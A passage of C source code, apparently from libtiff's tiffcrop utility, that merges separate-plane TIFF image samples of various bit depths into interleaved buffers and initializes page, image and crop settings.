dst_rowsize; uint32 bit_offset, src_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint32 maskbits = 0, matchbits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateSamples24bits","Invalid input or output buffer"); return (1); } /* bytes_per_sample = (bps + 7) / 8; */ src_rowsize = ((bps * cols) + 7) / 8; dst_rowsize = ((bps * cols * spp) + 7) / 8; maskbits = (uint32)-1 >> ( 32 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (32 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) buff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; else buff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 16) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "","Ready bits: %d, %s", ready_bits, action); } } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "", "Ready bits: %2d", ready_bits); } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateSamples24bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateSamples24bits */ static int combineSeparateSamples32bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0 /*, bytes_per_sample = 0, shift_width = 0 */; uint32 src_rowsize, dst_rowsize, bit_offset, src_offset; uint32 src_byte = 0, src_bit = 0; uint32 row, col; uint32 longbuff1 = 0, longbuff2 = 0; uint64 maskbits = 0, matchbits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateSamples32bits","Invalid input or output buffer"); return (1); } /* bytes_per_sample = (bps + 7) / 8; */ src_rowsize = ((bps * cols) + 7) / 8; dst_rowsize = ((bps * cols * spp) + 7) / 8; maskbits = (uint64)-1 >> ( 64 - bps); /* shift_width = ((bps + 7) / 8) + 1; */ for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (64 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) { longbuff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; longbuff2 = longbuff1; } else { longbuff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; buff1 = (buff3 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 32) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Sample %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_wide (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 8); dump_wide (dumpfile, format, "Buff1 bits ", buff1); dump_wide (dumpfile, format, "Buff2 bits ", buff2); dump_info (dumpfile, format, "", "Ready bits: %d, %s", ready_bits, action); } } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "", "Ready bits: %2d", ready_bits); } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateSamples32bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out); } } return (0); } /* end combineSeparateSamples32bits */ static int combineSeparateTileSamplesBytes (unsigned char *srcbuffs[], unsigned char *out, uint32 cols, uint32 rows, uint32 imagewidth, uint32 tw, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int i, bytes_per_sample; uint32 row, col, col_offset, src_rowsize, dst_rowsize, src_offset; unsigned char *src; unsigned char *dst; tsample_t s; src = srcbuffs[0]; dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateTileSamplesBytes","Invalid buffer address"); return (1); } bytes_per_sample = (bps + 7) / 8; src_rowsize = ((bps * tw) + 7) / 8; dst_rowsize = imagewidth * bytes_per_sample * spp; for (row = 0; row < rows; row++) { if ((dumpfile != NULL) && (level == 2)) { for (s = 0; s < spp; s++) { dump_info (dumpfile, format, "combineSeparateTileSamplesBytes","Input data, Sample %d", s); dump_buffer(dumpfile, format, 1, cols, row, srcbuffs[s] + (row * src_rowsize)); } } dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; #ifdef DEVELMODE TIFFError("","Tile row %4d, Src offset %6d Dst offset %6d", row, src_offset, dst - out); #endif for (col = 0; col < cols; col++) { col_offset = src_offset + (col * (bps / 8)); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = srcbuffs[s] + col_offset; for (i = 0; i < bytes_per_sample; i++) *(dst + i) = *(src + i); dst += bytes_per_sample; } } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateTileSamplesBytes","Output data, combined samples"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateTileSamplesBytes */ static int combineSeparateTileSamples8bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint32 imagewidth, uint32 tw, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0; uint32 src_rowsize, dst_rowsize, src_offset; uint32 bit_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint8 maskbits = 0, matchbits = 0; uint8 buff1 = 0, buff2 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[32]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateTileSamples8bits","Invalid input or output buffer"); return (1); } src_rowsize = ((bps * tw) + 7) / 8; dst_rowsize = ((imagewidth * bps * spp) + 7) / 8; maskbits = (uint8)-1 >> ( 8 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (8 - src_bit - bps); /* load up next sample from each plane */ for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; buff1 = ((*src) & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { *dst++ = buff2; buff2 = buff1; ready_bits -= 8; strcpy (action, "Flush"); } else { buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Match bits", matchbits); dump_byte (dumpfile, format, "Src bits", *src); dump_byte (dumpfile, format, "Buff1 bits", buff1); dump_byte (dumpfile, format, "Buff2 bits", buff2); dump_info (dumpfile, format, "","%s", action); } } } if (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Final bits", buff1); } } if ((dumpfile != NULL) && (level >= 2)) { dump_info (dumpfile, format, "combineSeparateTileSamples8bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateTileSamples8bits */ static int combineSeparateTileSamples16bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint32 imagewidth, uint32 tw, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0; uint32 src_rowsize, dst_rowsize; uint32 bit_offset, src_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint16 maskbits = 0, matchbits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateTileSamples16bits","Invalid input or output buffer"); return (1); } src_rowsize = ((bps * tw) + 7) / 8; dst_rowsize = ((imagewidth * bps * spp) + 7) / 8; maskbits = (uint16)-1 >> (16 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (16 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) buff1 = (src[0] << 8) | src[1]; else buff1 = (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_short (dumpfile, format, "Match bits", matchbits); dump_data (dumpfile, format, "Src bits", src, 2); dump_short (dumpfile, format, "Buff1 bits", buff1); dump_short (dumpfile, format, "Buff2 bits", buff2); dump_byte (dumpfile, format, "Write byte", bytebuff); dump_info (dumpfile, format, "","Ready bits: %d, %s", ready_bits, action); } } } /* catch any trailing bits at the end of the line */ if (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Final bits", bytebuff); } } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateTileSamples16bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateTileSamples16bits */ static int combineSeparateTileSamples24bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint32 imagewidth, uint32 tw, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0; uint32 src_rowsize, dst_rowsize; uint32 bit_offset, src_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint32 maskbits = 0, matchbits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateTileSamples24bits","Invalid input or output buffer"); return (1); } src_rowsize = ((bps * tw) + 7) / 8; dst_rowsize = ((imagewidth * bps * spp) + 7) / 8; maskbits = (uint32)-1 >> ( 32 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (32 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) buff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; else buff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 16) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "","Ready bits: %d, %s", ready_bits, action); } } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "", "Ready bits: %2d", ready_bits); } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateTileSamples24bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateTileSamples24bits */ static int combineSeparateTileSamples32bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint32 imagewidth, uint32 tw, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0 /*, shift_width = 0 */; uint32 src_rowsize, dst_rowsize, bit_offset, src_offset; uint32 src_byte = 0, src_bit = 0; uint32 row, col; uint32 longbuff1 = 0, longbuff2 = 0; uint64 maskbits = 0, matchbits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateTileSamples32bits","Invalid input or output buffer"); return (1); } src_rowsize = ((bps * tw) + 7) / 8; dst_rowsize = ((imagewidth * bps * spp) + 7) / 8; maskbits = (uint64)-1 >> ( 64 - bps); /* shift_width = ((bps + 7) / 8) + 1; */ for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (64 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) { longbuff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; longbuff2 = longbuff1; } else { longbuff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; buff1 = (buff3 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 32) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Sample %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_wide (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 8); dump_wide (dumpfile, format, "Buff1 bits ", buff1); dump_wide (dumpfile, format, "Buff2 bits ", buff2); dump_info (dumpfile, format, "", "Ready bits: %d, %s", ready_bits, action); } } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "", "Ready bits: %2d", ready_bits); } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateTileSamples32bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out); } } return (0); } /* end combineSeparateTileSamples32bits */ static int readSeparateStripsIntoBuffer (TIFF *in, uint8 *obuf, uint32 length, uint32 width, uint16 spp, struct dump_opts *dump) { int i, j, bytes_per_sample, bytes_per_pixel, shift_width, result = 1; int32 bytes_read = 0; uint16 bps, nstrips, planar, strips_per_sample; uint32 src_rowsize, dst_rowsize, rows_processed, rps; uint32 rows_this_strip = 0; tsample_t s; tstrip_t strip; tsize_t scanlinesize = TIFFScanlineSize(in); tsize_t stripsize = TIFFStripSize(in); unsigned char *srcbuffs[MAX_SAMPLES]; unsigned char *buff = NULL; unsigned char *dst = NULL; if (obuf == NULL) { TIFFError("readSeparateStripsIntoBuffer","Invalid buffer argument"); return (0); } memset (srcbuffs, '\0', sizeof(srcbuffs)); TIFFGetField(in, TIFFTAG_BITSPERSAMPLE, &bps); TIFFGetFieldDefaulted(in, TIFFTAG_PLANARCONFIG, &planar); TIFFGetFieldDefaulted(in, TIFFTAG_ROWSPERSTRIP, &rps); if (rps > length) rps = length; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; src_rowsize = ((bps * width) + 7) / 8; dst_rowsize = ((bps * width * spp) + 7) / 8; dst = obuf; if ((dump->infile != NULL) && (dump->level == 3)) { dump_info (dump->infile, dump->format, "", "Image width %d, length %d, Scanline size, %4d bytes", width, length, scanlinesize); dump_info (dump->infile, dump->format, "", "Bits per sample %d, Samples per pixel %d, Shift width %d", bps, spp, shift_width); } /* Libtiff seems to assume/require that data for separate planes are * written one complete plane after another and not interleaved in any way. * Multiple scanlines and possibly strips of the same plane must be * written before data for any other plane. */ nstrips = TIFFNumberOfStrips(in); strips_per_sample = nstrips /spp; for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { srcbuffs[s] = NULL; buff = _TIFFmalloc(stripsize); if (!buff) { TIFFError ("readSeparateStripsIntoBuffer", "Unable to allocate strip read buffer for sample %d", s); for (i = 0; i < s; i++) _TIFFfree (srcbuffs[i]); return 0; } srcbuffs[s] = buff; } rows_processed = 0; for (j = 0; (j < strips_per_sample) && (result == 1); j++) { for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { buff = srcbuffs[s]; strip = (s * strips_per_sample) + j; bytes_read = TIFFReadEncodedStrip (in, strip, buff, stripsize); rows_this_strip = bytes_read / src_rowsize; if (bytes_read < 0 && !ignore) { TIFFError(TIFFFileName(in), "Error, can't read strip %lu for sample %d", (unsigned long) strip, s + 1); result = 0; break; } #ifdef DEVELMODE TIFFError("", "Strip %2d, read %5d bytes for %4d scanlines, shift width %d", strip, bytes_read, rows_this_strip, shift_width); #endif } if (rps > rows_this_strip) rps = rows_this_strip; dst = obuf + (dst_rowsize * rows_processed); if ((bps % 8) == 0) { if (combineSeparateSamplesBytes (srcbuffs, dst, width, rps, spp, bps, dump->infile, dump->format, dump->level)) { result = 0; break; } } else { switch (shift_width) { case 1: if (combineSeparateSamples8bits (srcbuffs, dst, width, rps, spp, bps, dump->infile, dump->format, dump->level)) { result = 0; break; } break; case 2: if (combineSeparateSamples16bits (srcbuffs, dst, width, rps, spp, bps, dump->infile, dump->format, dump->level)) { result = 0; break; } break; case 3: if (combineSeparateSamples24bits (srcbuffs, dst, width, rps, spp, bps, dump->infile, dump->format, dump->level)) { result = 0; break; } break; case 4: case 5: case 6: case 7: case 8: if (combineSeparateSamples32bits (srcbuffs, dst, width, rps, spp, bps, dump->infile, dump->format, dump->level)) { result = 0; break; } break; default: TIFFError ("readSeparateStripsIntoBuffer", "Unsupported bit depth: %d", bps); result = 0; break; } } if ((rows_processed + rps) > length) { rows_processed = length; rps = length - rows_processed; } else rows_processed += rps; } /* free any buffers allocated for each plane or scanline and * any temporary buffers */ for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { buff = srcbuffs[s]; if (buff != NULL) _TIFFfree(buff); } return (result); } /* end readSeparateStripsIntoBuffer */ static int get_page_geometry (char *name, struct pagedef *page) { char *ptr; int n; for (ptr = name; *ptr; ptr++) *ptr = (char)tolower((int)*ptr); for (n = 0; n < MAX_PAPERNAMES; n++) { if (strcmp(name, PaperTable[n].name) == 0) { page->width = PaperTable[n].width; page->length = PaperTable[n].length; strncpy (page->name, PaperTable[n].name, 15); page->name[15] = '\0'; return (0); } } return (1); } static void initPageSetup (struct pagedef *page, struct pageseg *pagelist, struct buffinfo seg_buffs[]) { int i; strcpy (page->name, ""); page->mode = PAGE_MODE_NONE; page->res_unit = RESUNIT_NONE; page->hres = 0.0; page->vres = 0.0; page->width = 0.0; page->length = 0.0; page->hmargin = 0.0; page->vmargin = 0.0; page->rows = 0; page->cols = 0; page->orient = ORIENTATION_NONE; for (i = 0; i < MAX_SECTIONS; i++) { pagelist[i].x1 = (uint32)0; pagelist[i].x2 = (uint32)0; pagelist[i].y1 = (uint32)0; pagelist[i].y2 = (uint32)0; pagelist[i].buffsize = (uint32)0; pagelist[i].position = 0; pagelist[i].total = 0; } for (i = 0; i < MAX_OUTBUFFS; i++) { seg_buffs[i].size = 0; seg_buffs[i].buffer = NULL; } } static void initImageData (struct image_data *image) { image->xres = 0.0; image->yres = 0.0; image->width = 0; image->length = 0; image->res_unit = RESUNIT_NONE; image->bps = 0; image->spp = 0; image->planar = 0; image->photometric = 0; image->orientation = 0; image->compression = COMPRESSION_NONE; image->adjustments = 0; } static void initCropMasks (struct crop_mask *cps) { int i; cps->crop_mode = CROP_NONE; cps->res_unit = RESUNIT_NONE; cps->edge_ref = EDGE_TOP; cps->width = 0; cps->length = 0; for (i = 0; i < 4; i++) cps->margins[i] = 0.0; cps->bufftotal = (uint32)0; cps->combined_width = (uint32)0; cps->combined_length = (uint32)0; cps->rotation = (uint16)0; cps->photometric = INVERT_DATA_AND_TAG; cps->mirror = (uint16)0; cps->invert = (uint16)0; cps->zones = (uint32)0; cps->regions = (uint32)0; for (i = 0; i < MAX_REGIONS; i++) { cps->corners[i].X1 = 0.0; cps->corners[i].X2 = 0.0; cps->corners[i].Y1 = 0.0; cps->corners[i].Y2 = 0.0; cps->regionlist[i].x1 = 0; cps->regionlist[i].x2 = 0; cps->regionlist[i].y1 = 0; cps->regionlist[i].y2 = 0; cps->regionlist[i].width = 0; cps->regionlist[i].length = 0; cps->regionlist[i].buffsize = 0; cps->regionlist[i].buffptr = NULL; cps->zonelist[i].position = 0; cps->zonelist[i].total = 0; } cps->exp_mode = ONE_FILE_COMPOSITE; cps->img_mode = COMPOSITE_IMAGES; } static void initDumpOptions(struct dump_opts *dump) { dump->debug = 0; dump->format = DUMP_NONE; dump->level = 1; sprintf (dump->mode, "w"); memset (dump->infilename, '\0', PATH_MAX + 1); memset (dump->outfilename, '\0',PATH_MAX + 1); dump->infile = NULL; dump->outfile = NULL; } /* Compute pixel offsets into the image for margins and fixed regions */ static int computeInputPixelOffsets(struct crop_mask *crop, struct image_data *image, struct offset *off) { double scale; float xres, yres; /* Values for these offsets are in pixels from start of image, not bytes, * and are indexed from zero to width - 1 or length - 1 */ uint32 tmargin, bmargin, lmargin, rmargin; uint32 startx, endx; /* offsets of first and last columns to extract */ uint32 starty, endy; /* offsets of first and last row to extract */ uint32 width, length, crop_width, crop_length; uint32 i, max_width, max_length, zwidth, zlength, buffsize; uint32 x1, x2, y1, y2; if (image->res_unit != RESUNIT_INCH && image->res_unit != RESUNIT_CENTIMETER) { xres = 1.0; yres = 1.0; } else { if (((image->xres == 0) || (image->yres == 0)) && (crop->res_unit != RESUNIT_NONE) && ((crop->crop_mode & CROP_REGIONS) || (crop->crop_mode & CROP_MARGINS) || (crop->crop_mode & CROP_LENGTH) || (crop->crop_mode & CROP_WIDTH))) { TIFFError("computeInputPixelOffsets", "Cannot compute margins or fixed size sections without image resolution"); TIFFError("computeInputPixelOffsets", "Specify units in pixels and try again"); return (-1); } xres = image->xres; yres = image->yres; } /* Translate user units to image units */ scale = 1.0; switch (crop->res_unit) { case RESUNIT_CENTIMETER: if (image->res_unit == RESUNIT_INCH) scale = 1.0/2.54; break; case RESUNIT_INCH: if (image->res_unit == 